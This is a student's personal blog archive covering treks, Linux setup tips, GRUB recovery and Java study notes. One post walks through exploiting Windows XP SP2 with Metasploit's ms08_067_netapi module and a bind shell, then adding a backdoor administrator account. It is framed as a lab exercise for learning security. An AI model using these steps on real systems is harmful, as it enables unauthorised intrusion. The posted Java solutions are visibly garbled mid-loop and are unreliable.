Happy new year 2010 :)

Happy new year 2010 :)
I had good vacation at home in December. This was my second visit to home after 10 month since I have visited my home last time.
Hope for good year for me and my career.

"SAVE TADA 1 Nov" mission accomplished !!

This Sunday I went for trek to TADA (Ubbalamadugu Falls) with CTC. The aim for this trek was save TADA from pollution and create awareness between local communities.Some of you may not know where is this TADA.It is situated at the border between Tamil Nadu and Andhra Pradesh lies a small spot of paradise called Tada waterfall. From last year the place is got polluted by drunker and unsocial activities. And also the place becomes unsafe as some women/trekkers started getting harassed by drunker. So, TADA the natural started loosing its beauty. Then CTC come forward to clean and create awareness inside people. Finally on 1 nov CTC reached there with 230 volunteer. As per my knowledge this was the largest trek in terms of number of people joined the trek in CTC history. We reached there 8.30 morning. Had nice breakfast (Idly-Bada with chateny). We packed lunch (Biryani) and prepared our cleaning tools(garbage collector bag, gloves).The organizer were well prepared. They divided whole group into 20 group and each group assigned certain fixed portion to clean and collect garbage. It was great to see people were very enthusiastic to clean the place and that why we completed cleaning by 1 PM. Mean while forest officers also reached there to see our work. Once every group completed his work, we bring down all garbage bag and presented in front of media. Check this video of Peter addressing media.
After media addressing we again went to up hill and enjoyed swimming at least 2-3 hr. Around 5 we started from there and reached Chennai 9 PM. Finally I was in hostel at 11 PM. It was great fun with participation in social cause. Peter is planning second "SAVE TADA" mission. Date is yet to be announced.
PS: If you also want to be part of social cause trek please visit www.chennaitrekkers.org

No sound after installing Windows Version OS on Virtual Box

I installed windows 7 RC version on Vertual Box where host Operating System was ubuntu 9.04 (jaunty). Every thing was working fine except sound. I notice that Windows 7 giving error message "no sound device found". That was the major problem which I found after installing windows 7. I did some googling to find the solution of that problem. Some forum suggested to try Alsa-mixture, where as some other suggeting try OSS. But nothing works.
Finally I set my settings in Alsa-mixture and AC-97 audio controller. But this also did not works. But luckly I got the solution from Virtual Box bug report. For solution I downloaded AC'97 Audio Codecs from http://www.realtek.com.tw . After installing AC'97 codecs, Windows 7 automatically ditected sound. Now Windows 7 have full feature on Virtual Box and I am enjoying testing of Windows 7 on Virtual Box.

PS: Which software you have to download and instal

1. Go to http://www.realtek.com.tw

2. Click on "Downloads", then on "AC'97 Audio Codecs". On the downloads page I downloaded the file with the description "Vista/Win7 (32/64 bits) Driver only (ZIP file)".

3. Extracte the files and run setup.exe from "6303_Vista_Win7_PG537" folder.

Parental Guidance Rating for my Blogs

I checked my blogs for Parental Guidance Rating and this what I got.


This rating was determined based on the presence of the following words:

• xxx (2x)
• hurt (1x)

Interesting :) it did not giving rating based on picture/image what I have in my blog. Particularly King Fisher calendar.
Check yours here if you are also interested to know your blogs rating :)

How much carbon you are producing by google search?

During my research on Next Generation networks(NGNs), I found some interesting thing and then I thought to post on my blog. The interesting thing I found was quantity of carbon production by using Internet. Have you gave any thought while searching anything using Google or others search engine. I hope "no" !! me too. I was just surprised after knowing one Google search producing approx 0.2g CO2. The data may vary from lab to lab. Here is some words taken from a article "A Harvard University physicist says a typical search on a desktop computer generates about 7 grams of carbon dioxide. Thus performing two second searches is comparable to bringing a kettle to boil, according to report Sunday in The Times of London. While that may not sound like a lot, the report notes that Google handles about 200 million searches daily." Lots of research is going around energy consumption by Information and Communication Technology(ICT) and their effects on environment. You be surprise that the CO2 produced by ICT is 2-3% of global CO2 production and it is equivalent to CO2 produced by Airlines[Source Gartner Inc.]. How you feel after knowing that every second spent on web-browsing generates 20 milligrams of CO2[Wissner-Gross estimates]. It estimates that the Internet will produce 20% of the world's green house gas(GHGs) in 10 years[source]. According to anti-virus software firm McAfee, the electricity needed just to transmit the trillions of spam emails sent annually equals the amount required to power over two million homes in the United States while producing the same level of greenhouse gas emissions as more than three million cars. Is this really worth? The main source of CO2 production by ICT is large data centers. The things I have mentioned is just an snapshot of how really big this problem is? You will get more interesting and research problem in this as you go more deep into this.

My second CTC trek to NAGALAPURAM

Hi,
Greetings !!
Finally I went for second trip with CTC for trekking on 2ns August. For going that trek, I was very excited and started preparing 2 days before. On final night before trek means on 1st Aug i went for sleep on 1am in night and woke up at 2am. You may think 1 hr sleep, Yes total hours I slept was 1hr. That night I returned from lab at 8pm had food and went to gurunath for shopping some snacks, chocolates, glucose and battery for LED torch. I returned my room at 9:30 pm,started packing bag, took night bath and again went to my friend Vadiraj room(he was also joining trek with me) at 11:00 pm . I returned to my room at 12:30 pm and checked final packing as suggested for one day trek. At 3AM we started from hostel to main gate of IIT Madras by cycle. Wow, at 3 am morning how awesome the campus looking.

This is just single snap of road we took. We saw black buck, which is generally appears in night. Finally we ware on main gate of IITM at 3:15. Our pickup point time was 3:30 so we ware in hurry. We walked towards Madhya-Kailash after parking our cycle at parking stand near main gate. We took 10 minute to reach Madhya-Kailas. We ware the first one who reached there. After some time some more people from CTC joined us. As our pickup point was 3:30 but the CTC group reached there at 4:20 in morning. This happened because of some confusing of pickup-point option people has filled during registration for trekking. From CTC group santhosh came out from car and took attendance of present people and told their seat in car/bike. I knew santhsosh because he was on Nagala15 trek. I got seat in his car and we started from Madhya-Kailash to Guindy. From guindy they pickup more guys and finally reached a common place(sorry i don't know name of that place) where other groups waiting for us. There sathosh and other organizer collected 700 bucks for trek from all. They loaded food item and water bottle into different cars. Finally we started from there at 5:20 in the morning. We reached Nagalapuram at 8am.

Once we reached there, i just surprised because it was same place where I already came in Nagala15. But other thing was only few people ware there from Nagala15, so I was just feeling new environment. They started distributed food and water bottle at parking place itself, because from there we had to walk towards base of mountains. In food item curd rice, sanvar rice, chapati with anchar and in fruit apple was available. This is first time i saw Poppins chocolate. Other item was glucose, chipps and drinking water bottle. I took one savar rice, one chapati pack with 2 apple, 2 water bottle, 2 Poppins and one chipps packet.
Finally we reached breakfast point near waterfall, where some people started breakfast and some started playing in water. I also jump into water and started enjoying swimming. The water was falling from more than 50 feet.
We were enjoyed around one hr and then started climbing mountain. Me and my friend reached at top in 20 minute and then took 10 minute rest and waiting for few guys who was behind us. Then we started moving down in other direction to reach water-stream. During climb down I got some scratch from thorn, because we had to cross in between deep thorn. Once we reached at water-stream, I just washed my face with natural cold water and drink some water. We took 10 minute rest and started moving ahead. Some photographer started their photographic as they started getting most awesome natural beauty. I didn't bring any cam, so I was keep moving ahead with enjoying walk. I was just feeling, I can't express in word...but I always like to seat on top of mountain and watch whole world as small. Any way after walking 30-40 minute we got another danger point where we had to cross very care. It was danger in the sense, we had to cross a area where keeping our foot was only few inches and nothing was to hold except flat rock. On the other side deep water pond was there. Some first time trekker was very scared. but other people helped them. We crossed all luggage first by human chain and then we helped the people wh was scared. Few who don't wanted to cross using rock, they cross by swimming. Once all crossed, we moved ahead for another waterfall. The coming waterfall was vary good because there was one natural slipping point, from where you can slip into waterfall from top. We reached there in 15 minute walk. Once people reached there, organizer announced this is the final point and we are not going ahead. So enjoy here as much as you can. I just took off my cloths and started slipping from slipping point as I missed this fun in Nagala15 because of swimming. This time I practiced swimming in our campus itself, so no fear was there. I slipped 2-3 times and then jumped from around 15 feet top to same fall. It was amazing experience. I jumped in Nagala15 also.

We ware there till 2-3 hrs. After swimming and fun I took my lunch sanvar rice and chapati with anchar. And took some rest as we had to returned. We started moving back to breakfast point. We reached the same water-stream where we climbdown from hill while coming. This time organizer wanted too use same trick what Peter used in Nagal15 that in place of take one and half hr to climb and climb down to reach breakfast point, all trekkers will climbdown 50 feet flat hill. Once all trekkers saw that location from top to
down, they started scared. But few experienced trekkers started giving encouragement. Finally decided to make people chain on that flat hill and pass the all luggage first.
Once the luggage finished, people started climb down by using help of other people. It took 30-40 minutes to climb all trekkers from top. Once all climb down, people started playing with water. And some took some group photo. We were stayed another 1 hr and finally started to returning. We reached campus 12 PM at IITM main gate and took our cycle and reached room at 12.20AM. I was very tired, so I got sleep as I went to bed. Nice day !! Hope for next trek soon....

How to recover your ubuntu after reinstalling Windows

Yesterday I got mood to give a try windows7 rc which I downloaded 2 days back. But I got problem because i had to reinstall ubuntu which is already there. And i don't wanted to do that. I did some googling and finally I got how to recover ubuntu. Actually after installing windows it remove previous bootloader from MBR(Master Boot Record) and reinstall fresh bootloader in MBR. To reinstall previous bootloader boot from ubuntu linux live cd and open a terminal. Follow the following step :

1> sudo grub
You will get "grub>" command prompt.

2> find /boot/grub/stage1
If you get "Error 15: File not found", try the following:
find /grub/stage1

3> Using this information, set the root device (fill in X,Y with whatever the find command returned):
grub> root (hdX,Y)

4> grub> setup (hd0)

5> Exit Grub:
grub> quit

Enjoy !!
ps: For extra information click here.

Update:
If you are updating/recovering grub with ubuntu 10.04 or later, try following command: (source)

You’ll need to know the device name of your primary ubuntu partition, in this example I’m assuming it’s /dev/sda5
mount /dev/sda5 /mnt
mount --bind /proc /mnt/proc
mount --bind /dev /mnt/dev
mount --bind /sys /mnt/sys
chroot /mnt
update-grub2
grub-install /dev/sda

Enjoy Linux !!

How to hack windows XP sp2 with metasploit framework

After a long time I am writing this post. I was trying some hands on with metasploit framework. For exercise i choosed fedora9 as my attacker machine(bz i liked fedora) and installed framework with postgresql DB support. For attacking machine i choosed machine with windows XP with service pack 2. From this excercise i got very interesting result and even that result surprised me. The result was I got , xp command promt and from that promt first of all I created two user( one is administrator and other normal). For starting i think this is ok. The procedure i follows is as: I started from nmap port scanning.
% nmap -A -T4
This scan gave me all open port on xp. After getting open port i use framework to perform actual attack. Open msfconsole on terminal.
%msfconsole
Now run following command
%msf->use exploit/windows/smb/ms08_067_netapi
%msf->set RHOST 192.168.xxx.xxx
%msf->set RPORT 445
%msf->set PAYLOAD generic/shell_bind_tcp
now run final command to attack
%msf->exploit
now if lucky, you will get following command prompt. Now you can do whatever you want to do.

For adding user from command prompt use following command
%C:\WINDOWS\system32>net user testuser test123 /add
the message from terminal
"net user testuser test123 /add
The command completed successfully."

For adding administrator use following command
%C:\WINDOWS\system32>net localgroup Administrators /add testuser
or C:\WINDOWS\system32>net localgroup “Power Users” /add testuser(quotes required here)
the message
"net localgroup Administrators /add testuser
The command completed successfully."

Now type exit on command prompt to exit
#C:\Documents and Settings\Administrator\Desktop>exit
exit

This is very starting. Still choosing module and attacking with different payload, etc. there are lots of thing to learn. I posted here just because i thought it will help you to learn security.

ps: This post is just for learning perpous. Please do not use in unethical manner. Respect others privacy.

Top free Open Source Projects for end users

Here i am listing out some free open source software which i am using and i feeling very comfortable with these software.
1. Most wanted browser : Firefox
2. Most featured Email client (GUI) : Thunderbird
3. Another Email client (Desktop edition) : Zimbra
(Others edition like EE , web client, etc also available)



4. VLC media player (Best player for Linux and others too)

5. Best Linux flavour which i feel more stable among other flavour :

Debian (The Universal Operating system)

continued......

My first trek with CTC

Hi,
I joined CTC in feb-2009 and went for first trek with them at Nagalapuram, near AP and TN boarder on 8th-march. What was the day...i will always remember the day. Fist time I dive from 10 feet hill and without knowing diving.

read more here

Kingfisher Calander 2009

Taste of different Linux flavor

These days i am busy with testing different Linux operating system(OS). Its about 2 years since i have not used windows (Black Box).Yes i thinking windows nothing more than black box. I used windows during my B.Tech. That time i know nothing about Linux. I introduced with Linux in my final year when i started my Project. After that my interest move towards Linux and down towards windows. Its because no tools coming for developer. where as in Linux every essential software coming by default and rest are available through repository. I am using fedora from last 2 years. Its because packages are coming with fedora CD/DVD itself . These days i tested another flavor like Centos, Ubuntu, Debian, Kubuntu, Solaris 10. And off course Mac Os also which available in IITM cse lab. Still i am using fedora but i tried just for see how much difference is there in between all these flavors. I got all flavor because all these flavor are easily available on IITM ftp site except Solaris . And Ubuntu repository is here. So installing all software in Ubuntu is not taking more than half an hour. So, now i am using Ubuntu server edition 8.10. I got surprised when i saw different kind of software available through Ubuntu repository. Its amazing to see long list of software. Even some software which even not available on fedora repository. I like gnome desktop either on any flavor but new version of fedora(10) and Ubuntu KDE desktop is really good. But i think its little slower than gnome desktop. I given some ranking to Linux according to my choice :
1: Fedora - Mac OS. :: (9/10 point)
2: Ubuntu/kubuntu - Solaris. :: (8/10 point)
3: Centos. :: (7/10 point)
4: Windows (all flavor). :: (4/10 point)

Yum configuration :
Centos :
Step 1) add "failovermethod=priority" without quote in /etc/yum.repos.d/CentOS-Base.repo with every repository link.

Step 2) add
export http_proxy=http://user:password@proxyip:port/
export ftp_proxy=http://user:password@proxyip:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://user:password@proxyip:port/
export FTP_PROXY=http://user:password@proxyip:port/

in file ~/.bash_profile
Step 3) run on command line "source ~/.bash_profile"
Step 4) yum update
Step 5) yum install pkg-name.

Fedora :
Step 1) sudo rpm --import /etc/pki/rpm-gpg/*

Step 2) for third party repository search "livna" and get the rpm of livna-release-*.rpm

Step 3) Export proxy same as Centos.

Step 4) sudo yum update

Step 5) yum install pkg-name

apt-get configuration :
Ubuntu 8.10 :
Step 1) Add these two line in /etc/apt/apt.conf

Acquire::http::Proxy "http://user:password@proxyip:port/";
Acquire::ftp::Proxy "ftp://user:password@proxyip:port/";
Step 2) You can export

export http_proxy=http://user:password@proxyip:port/
export ftp_proxy=http://user:password@proxyip:port/
export no_proxy=.domain.com
export HTTP_PROXY=http://user:password@proxyip:port/
export FTP_PROXY=http://user:password@proxyip:port/

these lines same as Centos or add in file /home/user/.bashrc

Laser Etravaganza show

This is SHAASTRA NIGHT show on 3rd October at OAT in IIT Madras. What a show it was...!!! its still stunning...! It was story telling by Laser beam..Dancing beams, bright colorful image sequences, splashes of light filled in the atmosphere, and shy away the stars in the night sky. Any light will be belittled by the brightness of the stage...Its amazing way of story telling...

This was started at 8.30 pm with story telling about IIT student how students studying, sleeping in class, after finishing study going abroad by flight . How they inventing new thing. After that they played another story then after ends with story of India. Its new experience for me to see all these thing by laser beam. Its was just play of light beam with different angle but effect of that light is superb...I can't write every thing what i felt in that show...but it will be remember for me for entire life..!!

One more milestole of my career..

Today i just find time to write about this...i was thinking to write about CDAC-FPGDST degree. It was great pleasure to study in CDAC-Bangalore and also it was fun to study from researchers. When i joined cadc people saying that you will pass every subject but the real challenge comes with MGPT ...but i never thought i will not clear MGPT...but when it starts i failed to make it in first two attempts...i can't say question was very tough but the i didn't get good approach to solve the problem...the best method to clear MGPT try to apply good approach..any way i missed two MGPT very closely one 'X'....but finally outcomes frustrated me...unfortunately i missed my two last MGPT...on third MGPT date i was in Kanpur attending M.Tech interview and on fourth MGPT i had admission date in IIT Madras...after passing in every subject i was not eligible to get certificate just because of MGPT...so i decided to give MGPT again and i did it. Before going MGPT i thought on MGPT...how to solve both problem in given time...i analyzed that,the problem are not to much tough...they are solvable within given time but the thing is right approach...this time i applied good approach and solved both problem...i just submitted my both problem in 25-30 minute...and made the way clear for getting certificate.......so i will have CDAC FPGDST certificate one year outcomes.....its not just one paper for me which shows about qualification....it more than that...it is one experience of hard work,fun and great enthusiasm to do work hard.... "Learn from life Learn for life..!!"

2008 MGPT-4 solution

------------------------------------

File: prob1.java
------------------------------------
import ncst.pgdst.*;

class prob1{

public char makdir(char ch, char dir){

if(dir == 'L'){
if(ch == 'N')
return 'W';
else if(ch == 'W')
return 'S';
else if(ch == 'S')
return 'E';
else if(ch == 'E')
return 'N';
}
else if(dir == 'R'){
if(ch == 'N')
return 'E';
else if(ch == 'W')
return 'N';
else if(ch == 'S')
return 'W';
else if(ch == 'E')
return 'S';
}
return '\0';
}

public static void main(String arg[]) throws IOException{
SimpleInput si = new SimpleInput();
int maxX = si.readInt();
int maxY = si.readInt();

int curX = si.readInt();
int curY = si.readInt();
si.skipWhite();
char dir = si.readChar();
//System.out.println(dir);
String s = si.readWord();

prob1 p =new prob1();

for(int i=0; i< dir ="="" dir ="=""> 0)
curY--;
}else if(dir == 'S'){
if(curX > 0)
curX--;
}
}
}
System.out.println(curX+" "+curY+" "+dir);
}
}

************************************
------------------------------------
File: tree.java
------------------------------------
import ncst.pgdst.*;

class tree{
int val;
public static tree root;
tree left;
tree right;
tree(){
root = null;
left = null;
right = null;
}
tree(int n){
left = null;
right = null;
val =n;
}
public int findIndex(int n, int in[]){
for(int i=0; i t2)
return 1;
else
return 2;
}

public static void main(String arg[]) throws IOException{
SimpleInput si = new SimpleInput();
int n = si.readInt();
int pre[] = new int [n];
int in[] = new int[n];
for(int i=0; i******

Move towards IIT Madras......

Hi...Its about my move towards IIT Madras.I never thought i'll join IIT Madras for higher education but i did it without any plan, just because i was getting a chance to study in IIT Madras. I was appeared for GATE exam just because i want to know how much knowledge i have . But surprised I got 98.34 % with 296 rank.So applied every IIT's and top four NIT's.Even I got call from every IIT's except IITB and IITD. But I have attended interview at IITM and went for counseling to IITKgp and for other I have decided to left. The reason behind missed the IIT's call because I have been offered from Siemens, Bangalore. So you can say that i was little bit choosy. In IITKgp counseling I didn't got any sit, so I thought go for job in MNC company.But after about one month I got one mail from IITM i am selected and i have to join before 18July. Now the time was very complex what should I do go for job or further studies. Even i had confirm call in all top four NIT but decided to not to go that. But for reject IIT Madras I did lots of discussion with my friends and parents.So finally I decided to join IITM because i got offer to do research in Network field which is my favorite area. So Join the IIT Madras with hope I'll do some good things and also get good job.This all about to how I joined iitm after CDAC Bangalore.

My first Term is over now........

Hi friends.......I am writing this post after a week.....
I was busy in my first module end term examination.My quiz paper gone good but my MGPT is not cleared.This module contained four subject : (i)OOPJ(object oriented programming in java), (ii) DSAL (data structure and alogorithm)(iii)MFCS(mathematical foundation of computer science),(iv)TCOM (technical communication). All subject taught us by knowledgeable person.Two of four subject DSAL and MFCS I had studied in my engineering, but here I learned some new thing in that subject .....rest two subject was almost new for me. So I did hard work to learn that subjects but I have to do more effort in coming future also.I got always full support from our faculty.When I got difficulty I asked from faculty and got answer in quick reply.....One true and important fact for my life I learned here is : In professional life do not depend on other, always try to solve problem yourself.....And in CDAC-B faculty follow this rule strictly to make better professional....................In this module I liked the way of teaching of some faculty member such as RKVS Raman (DSAL), Sawani Bade (TCOM), Jiji Angel (Theory of Computation), Balaji R(oopj)..........Before joining the CDAC-B my English was very week but after attending some lecture of TCOM I got success to improve my communication skill. Here I would like to mention that I did not got 100% success but I got it to some extant and now it is improving.And for all this success
I would like to thanks to Sawani Madam, because she help me lots. when I approached to her with some problem she clerify my question with good example....When I consulted to madam for taking some suggestion about how to prepare for Interview of DRDO, she helped me.....TCOM is one of very helpful subject for making career in software industry because most of student's studied here has poor technical communication skill and I one of them.So,TCOM gives a chance to improve communication skill
before joined industry......In this module I expect good marks in all paper because my all test was good except TCOM because I have done one mistake and got punishment in form of lose one blog evalution. So, I expect I'll just pass the TCOM .But in rest of paper I was honest.In 10 MGPA I have only attend 8 MGPA and cleared 6MGPA.This is not very good performance by me.It's just satisfactory for me.I have to clear one more MGPA but because I had not implemented Graph in java.So, last MGPA I have not cleared.................On 18th October I had MGPT.In that MGPT I tried to solve only one question which is from Graph.In that question I have to find shortest path and count number of hope comes in path.I had written code for that and implemented in lab.When I submitted that program in PARISHAK I got 3 Y and 2 X. I was very happy because I thought I 'll cleared this MGPT but after that when I started to find cause of 2 X, I was depressed with time.And finally I got 4 Y and 1 X and time was over.So, my MGPT not cleared.......I am trying till today why my code given one X .I found that when only two node is given as input my code giving 0 as output but the correct output is 1.If I got this error at that time I was cleared my MGPT .But time is gone and never returned. So, I promised to myself in next MGPT I'll think on all possibility for problem ....................

Personel Interview.........

Hi friends....
Today we had TCOM session.In that session Madam taught us
how to face personal interview.There we discuss lots of question regarding interview.I learned lots of thing about communication, skill, attitude, aptitude, etc.The first question is why company taking interview while they may be choose his candidates by written test.They make lots of effort towards taking interview ?According to me company searching good candidate for his organisation.If company choose their candidate by simply written test their is no doubt candidate which selected is good in knowledge. But is it possible that they all are also good in communication, judgement, interested in company, etc...For example if a candidate is not interested in that organisation for which he selected and he joined company for sake of job.After some time that candidate joined another company.Then first company will be go into loss, because he didn't not check candidate attitude towards his company.sometime other difficulties are also possible.So, company taking personal interviews to judge candidate attitude, aptitude, goal of his life.candidate is interested in his organisation or not.It is very important for company to choose good candidates because they all going to be a part of company and company's reputation is directly depends on those candidate.The product's quality which company delivered, customer satisfaction etc. directly influenced by employees of company.
Now I am coming on how to face interview........
I learned today's session how to face interview.The first work we must do is to clearly judge what we want to do. Set goal and then proceed.We must clear idea about the job we are applying for. Because if interviewer judge that this person is not interested in our company then they will be reject that candidate. One thing we have to must remember that every man getting chance to do something better but he missed that chance and waiting for another chance. And waiting for ever....If we really want to do then we ready to catch the chance.When we get chance change to it opportunity. Its very important that attitude must be positive. Positive attitude gives strength to give answer during interview.One another important thing I learn that before giving answer of any question think for moment.
Its give positive response to interviewer and it also provide self
confidence to give answer. Some time interviewer ask question from different pattern so we careful to give all those questions answer because interviewer motive to judge your aptitude skill and your response towards unexpected question. So before attending interview work on attitude, field of interest, communication skills, interpersonal skills,confidence, problem solving skills, self motivation....Some of general question on which we should must prepare like- tell me about your self ?, What you want to do in your life,what your greatest strength, what your weekness ?, How do you good for this job ?, etc... I learned that main factors for failure in interview is as candidates behaviour during interview like excitement or nervousness, lack of concentration, lack of confidence, lack of subject knoweldge. In last failure is not end of career. If we get failure in interview try to remove weekness and improve skills. Hard work is last option to get success.....

Graph theory.........

Hi friends.....
Today I am going to one of interesting topic of DSAL "GRAPH".
graph have been used in a wide variety of applications. Some of applications are computer network,the analysis of electrical circuits, finding shortest routes, project planning,identification
of chemical compounds, statistical mechanics, genetics,cybernetics, linguistics, and so on. WWW is good example of directed graph.

:> Graph can be defined as : A graph G consists of two sets V and E. The set v is finite,non-empty set of vertices. The set E is a set of pairs of vertices, these pairs are called edges. the notation we generally used for graph is G=(V,E).
The advantage of graph over other data structure is that it can represent different types of relationships, whereas tree can represent hierarchical types of relationship only. So, we can say that tree is a special case of graph.

:> Directed graph :
In directed graph each edge is represented by a directed pair(e1,r2) where e1 is tail and e2 is head. In directed graph (e1,e2) and (e2,e1) represents two different edges.

:> Undirected graph :
In undirected graph each edge is represented by same way as directed graph except here (e1,e2) and (e2,e1) represent same edge.

:> Path in a graph :
A path from any vertex U to vertex V is set of edges and vertices.

:> Cycle in a graph :
A cycle is a simple path in which source node and destination node are same.

:> Weighted graph :
In weighted graph each edge is assigned a value w(e) called weight or length of V. the weight of a path is sum of the weight of the edges in the path.

:> Graph representation :
Although several representation for graph are possible according
to nature of graph. But I am discussing only two representation
here.

1> Adjacency matrix.
2> Adjacency List.

> Adjacency matrix : In adjacency matrix we represent graph by
nxn matrix. Say i and j are vertices then if there is edge between
i and j, put 1 in matrix at position (i,j) otherwise 0.
eg.:
1 2 3 4
----------
1| 0 1 1 1
2| 1 0 1 1
3| 1 1 0 1
4| 1 1 1 0
Important note : For undirected graph the degree of any vertex i is sum of row. For directed graph the row sum is the out degree and column sum is the in-degree.

> Adjacency List : In this representation of graph, the n rows
of the adjacency matrix are represented as n linked lists.there
is one list for each vertex in G. Each node of the list, may store
a reference to the vertex corresponding to the end point of the edge.

>Graph Traversal :
There are two methods are available for graph traversal :
i)DFS (depth first search).
ii) BFS (Breadth first search ).
In DFS we visit child node first.
In BFS we visit same lavel node first then child node.

Common Errors during JAVA programing..........

Hi friends........
I have completed about one and half month at CDAC-B. In all those days I have done lot of programming in JAVA and DATA-STRUCTURE. During programming I found lots of compile time and run time errors. Because I was not familier with Java, so I was facing lot of difficulty during my initial days.Whenever I was getting an error I tried to solve by one of my friends. Today I want to discuss some common errors which I did all the times.
> 1 : Compile-time errors.......
During compilation compiler only checked syntax error. Compiler does not find the logical error.Compiler generate error massage for small mistake like semicolon,braces mismatch, checking int value in "IF" condition instead of boolean value, unbalanced parentheses, unclosed literals, illegal start of expression, not a statement, misspelling "else", cannot find symbol, is already defind, array required but....found, variable.....might not have been initialized, ....in...cannot be applied to..., operator.... cannot be applied to....., possible loss of precision, incompatible types, inconvertible types, missing return statement.., missing return value, cannot return a value from method whose return type is void, invalid method declaration....return type required, unreachable statement,non-static variable.....cannot be referenced from a static context, non-static method...cannot be referenced from a static contextm,
etc...
It's a long list of compiler errors which I got most of time. I am
giving some example which generated compiler error.
:> class ClassName{
void f(){
int n=10;
// Error, closing brace is missing
void g(){
int m=20;
}
}
:> if(i > j // error, unclosed parentheses
max = i // error, missing semicolon
else
max=j;
:> String myString=
" This is My First Java Programm "+
" and I got compilation error; // error, unclosed literal
:> int max;
..........
......
max; // error, missing =
:> if( i > j)
max = i;
els // error, else not spelled correctly
max = j;
:> boolean b=true;
int x = (int) b; // error, can't convert bpplean to int

> 2 : Runtime Errors......
When the JAVA interpreter encounters an error during runtime it throws an exception and prints a stack trace showing the call stack -the list of methods called from the main program untill the statement that caused the exception.
I am taking an example to clear concept....
:> class RunTimeTest{
public static void main(String arg[]){
String s = "Hello World";
System.out.println(s.substring(10,12);
}
}
Generated Error as:
Exception in thread "main"
java.lang.StringOutBoundException:
String index out of range: 12
at java.lang.String.substring(Unknown source)
at RunTimeTest.main(RunTimeTest.java:4)

other kind of runtime errors might also be possible are as....
> out of range :
> ArrayIndexOutOfRange
> StringIndexOutOfRange
> NullPointerException
> InputMismatchException
> IllegalFormatException
> NumberFormatException
> ArithmeticException : This exception will generate if we
divide any no. by Zero(0).
> outOfMemoryError
> StackOverFlowArea
> During execution of program sometimes we got error like
this : NoClassDefFoundError
> NoSuchMethodFoundError : main
this error is generated when we forget to write
public with main i.e.
void main(String arg[]){.....}

> 3 : Assignment and Equality......

> String equality
sometimes we forget to compared string with method "equals".
> Assignment of references ....
one important thing about assignment of references is
when we assign references it only assign reference not the content of object.

These are some common errors which I noticed from when I started programing in java.